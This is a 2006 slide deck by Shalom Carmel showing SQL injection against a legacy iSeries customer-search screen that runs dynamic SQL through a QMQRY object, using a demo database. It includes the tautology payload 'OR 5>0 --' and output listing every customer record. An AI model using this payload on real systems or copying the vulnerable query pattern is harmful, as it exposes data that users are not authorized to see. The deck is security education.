

# Insecure Legacy Applications

Shalom Carmel, 2006

# iSeries SQL Injection

- Not a web application problem
- This example uses a demo database
- Parameters passed from screen to a QMQRY object, executed as dynamic SQL.
- RPG/COBOL are vulnerable too !! See example at <http://www.itjungle.com/fhg/fhg100505-story02.html>

# iSeries SQL Injection

User supposedly limited to specific set of data

```
Customer Search Program
Your state is TX
Customer last name starts with

```

# iSeries SQL Injection

Regular search – user looks for H

```
Customer Search Program
Your state is TX
Customer last name starts with
H
```

# iSeries SQL Injection

And the result – customers from TX starting with H

```
Display Report
Query . . . . .:  SHALOMC1/SQLINJ01      Width . . . .:    123
Form . . . . .:  *SYSDFT              Column . . . .:     1
Control . . . .:  _____
Line  ....+....1....+....2....+....3....+....4....+....5....+....6....+....7....+....8....+....9....+....0....+...
          CUSNUM  LSTNAM   INIT  STREET          CITY  STATE  ZIPCOD  CDTLMT  CHGCOD   BALDUE   CDTDUE
          -----  -----  ----  -----  -----  ----  -----  -----  -----  -----  -----
000001  938,472  Henning  G K  4859 Elm Ave  Dallas TX  75,217  5,000    3       37.00    .00
***** * * * * *  E N D  O F  D A T A  * * * * *
```

# iSeries SQL Injection

Regular search – user presses ENTER

```
Customer Search Program
Your state is TX
Customer last name starts with

```

# iSeries SQL Injection

And the result – all customers from TX

```
Display Report
Query . . . . .: SHALOMC1/SQLINJ01      Width . . . .: 123
Form . . . . .: *SYSDFT                Column . . . .: 1
Control . . . .:           
Line  . . . . .1 . . . . .2 . . . . .3 . . . . .4 . . . . .5 . . . . .6 . . . . .7 . . . . .8 . . . . .9 . . . . .0 . . . . .+
          CUSNUM  LSTNAM   INIT  STREET          CITY  STATE  ZIPCOD  CDTLMT  CHGCOD   BALDUE  CDTDUE
          -----  -
000001  938,472  Henning  G K   4859 Elm Ave  Dallas TX  75,217  5,000   3       37.00   .00
000002  593,029  Williams E D   485 SE 2 Ave  Dallas TX  75,218  200    1       25.00   .00
***** * * * * * E N D O F D A T A * * * * *
```

# iSeries SQL Injection

Regular search – types SQL injection string

```
Customer Search Program
Your state is TX
Customer last name starts with
'OR 5>0 --'
```

# iSeries SQL Injection

And the result – all customers!!

```
Display Report
Query . . . . .: SHALOMC1/SQLINJ01      Width . . . . .: 123
Form . . . . .: *SYSDFT                Column . . . . .: 1
Control . . . . :           
Line  ....+....1....+....2....+....3....+....4....+....5....+....6....+....7....+....8....+....9....+....0....+...
      CUSNUM  LSTNAM   INIT  STREET          CITY   STATE  ZIPCOD  CDTLMT  CHGCOD   BALDUE  CDTDUE
      -----  -
000001  938,472  Henning  G K   4859 Elm Ave   Dallas TX   75,217  5,000    3     37.00    .00
000002  839,283  Jones   B D   21B NW 135 St  Clay   NY    13,041   400     1    100.00    .00
000003  392,859  Vine    S S   PO Box 79      Broton VT    5,046   700     1    439.00    .00
000004  938,485  Johnson J A   3 Alpine Way   Helen  GA    30,545  9,999   2   3,987.50  33.50
000005  397,267  Tyron   W E   13 Myrtle Dr   Hector NY    14,841  1,000   1     .00     .00
000006  389,572  Stevens K L   208 Snow Pass  Denver CO   80,226   400     1     58.75    1.50
000007  846,283  Alison  J S   787 Lake Dr    Isle   MN    56,342  5,000   3     10.00    .00
000008  475,938  Doe     J W   59 Archer Rd   Sutter  CA    95,685   700     2    250.00   100.00
000009  693,829  Thomas  A N   3 Dove Circle  Casper WY    82,609  9,999   2     .00     .00
000010  593,029  Williams E D   485 SE 2 Ave   Dallas TX   75,218   200     1     25.00    .00
000011  192,837  Lee     F L   5963 Oak St    Hector NY    14,841   700     2    489.50    .50
000012  583,990  Abraham M T   392 Mill St    Isle   MN    56,342  9,999   3    500.00    .00
***** * * * * E N D O F D A T A * * * * *
```